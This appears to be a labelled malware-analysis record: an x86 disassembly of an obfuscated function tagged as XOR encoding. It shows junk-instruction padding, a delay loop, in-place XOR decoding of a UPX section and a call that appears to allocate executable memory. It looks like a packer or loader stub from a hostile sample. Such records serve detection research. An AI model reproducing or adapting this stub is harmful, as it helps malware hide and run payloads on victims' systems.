Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x9e4822d2
add eax, 0x78a6e225
sub eax, 0x5e1352fd
popal
sub eax, 0x5e5e9068
and edi, eax
and eax, eax
mov ebx, 0
mov esi, edi
sub edx, 0x570fd220
and eax, edx
mov ecx, esi
mov edx, eax
mov eax, edx
mov eax, 0x1ce21398
mov edi, ecx
sub eax, 0x3ab5de94
add eax, edx
dec edx
inc ebx
inc edx
add edx, eax
cmp ebx, 0x100975f
jne 0xa789ce
add eax, 0x10c2bff4
add eax, eax
mov eax, edx
or eax, edi
add eax, 1
mov ecx, 0xa78796
add esi, 0xe8f94a02
sub edi, eax
mov edx, 0xa7898a
not esi
add eax, esi
dec esi
mov ebx, dword [ecx]
not esi
add eax, 0xba702dd
add esi, 0x411c1c48
and ebx, 0xff
mov eax, edi
not edi
xor dword [edx], ebx
add edi, esi
not edi
mov esi, edi
add edx, 1
sub esi, 0x4f609b3c
or edi, esi
inc eax
inc ecx
add esi, eax
add edi, edi
cmp edx, entry0
jl 0xa78a27
add esi, edi
mov esi, 0x203d32df
mov edi, eax
add esi, edi
sub eax, 0x93d5a9f1
or edi, eax
dec esi
mov edi, esi
or ebx, ebx
mov edx, 0xa7898e
sub ebx, esi
mov ecx, 0x4252912b
mov edx, dword [edx]
mov esi, 0xc9044a43
dec ecx
mov edx, dword [edx]
sub esi, 0x1af0f47d
add edi, edi
sub ecx, edi
push edx
sub edi, esi
sub ecx, esi
mov edx, 0xa7898a
sub ebx, esi
sub edi, 0x5dd28338
mov edx, dword [edx]
mov edi, 0x981deaff
sub esi, edi
mov edx, dword [edx]
sub ebx, 0x52afcc58
add edi, ecx
or ecx, edi
push 0xa78992
mov edi, 0x5bcf62a8
sub ecx, 0x9227318
sub edi, ecx
call edx
dec edi
inc ecx
pop edx
sub esi, 1
mov ecx, 0xda35c0db
sub esp, 4
mov dword [esp], 0xa7899f
and esi, ebx
mov esi, ebx
push eax
add ebx, 0x90361930
mov ecx, 0x6c3ebea
call edx
mov edi, ecx
add ebx, 0xaaf8910d
push 0x40
mov edi, esi
sub edi, 0x7890cb4b
add ebx, 0x11093dfd
push 0x3000
sub edi, esi
not ecx
add esi, edi
sub esp, 4
mov dword [esp], 0x20000760
sub edi, ebx
inc ebx
push 0
sub edi, ebx
sub ebx, 0xd7b70164
mov edi, 0x5f72a24d
call eax
add ecx, ecx
sub ebx, edi
add eax, 0x200006ef
and ebx, ecx
mov esi, ebx
mov edx, 0x46822e9
or ebx, ecx
or edi, ecx
mov dword [eax], edx
not esi
mov esi, 0xa107408c
add edi, 0xf01550d6
mov edx, dword [eax]
mov ebx, 0x8ca1483
sub ebx, 0x71ddb1e4
cmp edx, 0x46822e9
je 0xa78b8f
mov ecx, 0
mov byte [ecx], al
and edi, edi
dec ebx
sub ecx, ebx
add edi, 0x758ed376
inc eax
or edi, eax
mov esi, section.UPX1
add edi, edi
dec edi
mov edx, 0xa78795
add eax, edi
add edi, edi
mov ecx, 0
add eax, edi
add eax, edi
add edi, eax
mov ebx, 0xa78796
add edi, 0x3a95ad96
add edi, eax
add eax, eax
lea ebx, [ebx + ecx]
sub edi, eax
add edi, 0x49d829e0
not edi
mov ebx, dword [ebx]
mov edi, eax
sub edi, eax
and ebx, 0xff
not eax
sub edi, 0x39a55f99
add eax, 0xfcd45af8
inc ecx
and edi, eax
sub edi, eax
mov eax, edi
cmp ecx, 0x1f4
jne 0xa78c03
mov ecx, 0
or edi, eax
add edi, eax
mov eax, edi
or edi, eax
mov eax, edi
xor dword [esi], ebx
not eax
add eax, edi
dec edi
add esi, 2
add edi, edi
mov edi, eax
sub eax, 0x99408ffa
cmp esi, edx
jl 0xa78bb9
inc eax
add eax, 0xfe1ae873
add eax, 0xf6de0eb8
add eax, eax
inc eax
mov esi, section.UPX1
add edx, ecx
inc edx
mov eax, section.UPX1
mov edx, ecx
add ecx, 0x31fd2ec
mov ecx, edx
mov edi, 0xa78795
and edx, ecx
dec edx
sub ecx, edx
mov ebx, 0
add ecx, edx
add ecx, 0x92bebab9
mov bl, byte [eax]
and edx, edx
mov ecx, edx
add edx, 1
mov byte [esi], bl
add ecx, 0xc13024ac
sub ecx, 0x83dbea12
mov ecx, 0x16f1a1d6
inc esi
or edx, edx
mov ecx, edx
add edx, 1
add eax, 2
not edx
sub ecx, 1
cmp eax, edi
jle 0xa78c6a
inc edx
sub edx, ecx
sub ecx, 0xf5e3d065
inc eax
inc edi
push 0x8dc6a0
mov edi, 0xeea08ba1
add eax, eax
ret